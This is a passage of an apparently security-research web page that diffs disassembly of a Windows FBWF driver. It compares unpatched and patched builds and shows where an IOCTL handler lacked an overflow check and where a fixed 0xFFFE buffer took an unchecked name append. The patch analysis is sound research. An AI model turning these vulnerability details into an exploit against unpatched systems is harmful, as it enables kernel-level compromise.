&lt;span class="mh"&gt;0x140002C6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;separator&lt;/span&gt;
&lt;span class="mh"&gt;0x140002C72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream_len&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mh"&gt;0x140002C8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePool2&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exactly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;FbwfPortMessage&lt;/code&gt; Overflow Check (Patched-Only)&lt;/h4&gt;
&lt;p&gt;The IOCTL dispatch bounds check is present in both builds; the overflow-checked multiplication exists only in the patched &lt;code&gt;0xFB2F0001&lt;/code&gt; handler.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;IOCTL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PRESENT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BOTH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BUILDS&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C000A746&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140004733&lt;/span&gt;
&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4e0fffe&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4e0fffe&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xb&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xb&lt;/span&gt;
&lt;span class="nt"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;default_case&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="nt"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;default_case&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED-ONLY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xFB2F0001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;scratch-space&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;handler&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;
&lt;span class="nt"&gt;0x140004DBB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r13d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0FB2F0001h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;scratch-space&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;case&lt;/span&gt;
&lt;span class="nt"&gt;0x140004E1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;block_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;metadata&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x140004E45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mul&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;block_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;128-bit&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x140004E4F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;high&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;half&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;0x140004E5B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0C0000095h&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="nt"&gt;0x140004F68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;TotalBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;updates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;accounting&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;corresponding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiplication&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;exists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;function&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt; Length Computation&lt;/h4&gt;
&lt;p&gt;The unpatched inlined loop and the patched &lt;code&gt;RtlInitUnicodeString&lt;/code&gt; call resolve the string length the same way, and both feed the same &lt;code&gt;&amp;lt;= 0x80&lt;/code&gt; check.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C000EAB7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;inlined&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wcslen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loop&lt;/span&gt;
&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0FFFFFFFFh&lt;/span&gt;
&lt;span class="nt"&gt;loop_start&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r9&lt;/span&gt;
&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r15w&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loop_start&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;scans&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;until&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wchar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;upper&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bytes&lt;/span&gt;
&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;
&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x80&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x80&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x14000DDB5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unbounded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;scan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;internally&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;__imp_RtlInitUnicodeString&lt;/span&gt;
&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;DestinationString.Length&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x80&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x80&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;identical&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; Fixed Allocation vs. Pre-Measured Allocation&lt;/h4&gt;
&lt;p&gt;The unpatched build pins the allocation at &lt;code&gt;0xFFFE&lt;/code&gt; and appends the entry/write-through name at the running path offset without accounting for it; the patched build measures the path and folds in the larger of the two name lengths before allocating.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C00114B6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fixed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;
&lt;span class="mh"&gt;0x1C00114B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFEh&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fixed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;
&lt;span class="mh"&gt;0x1C00114C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mh"&gt;0x1C00114F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;
&lt;span class="mh"&gt;0x1C00114FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001151C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 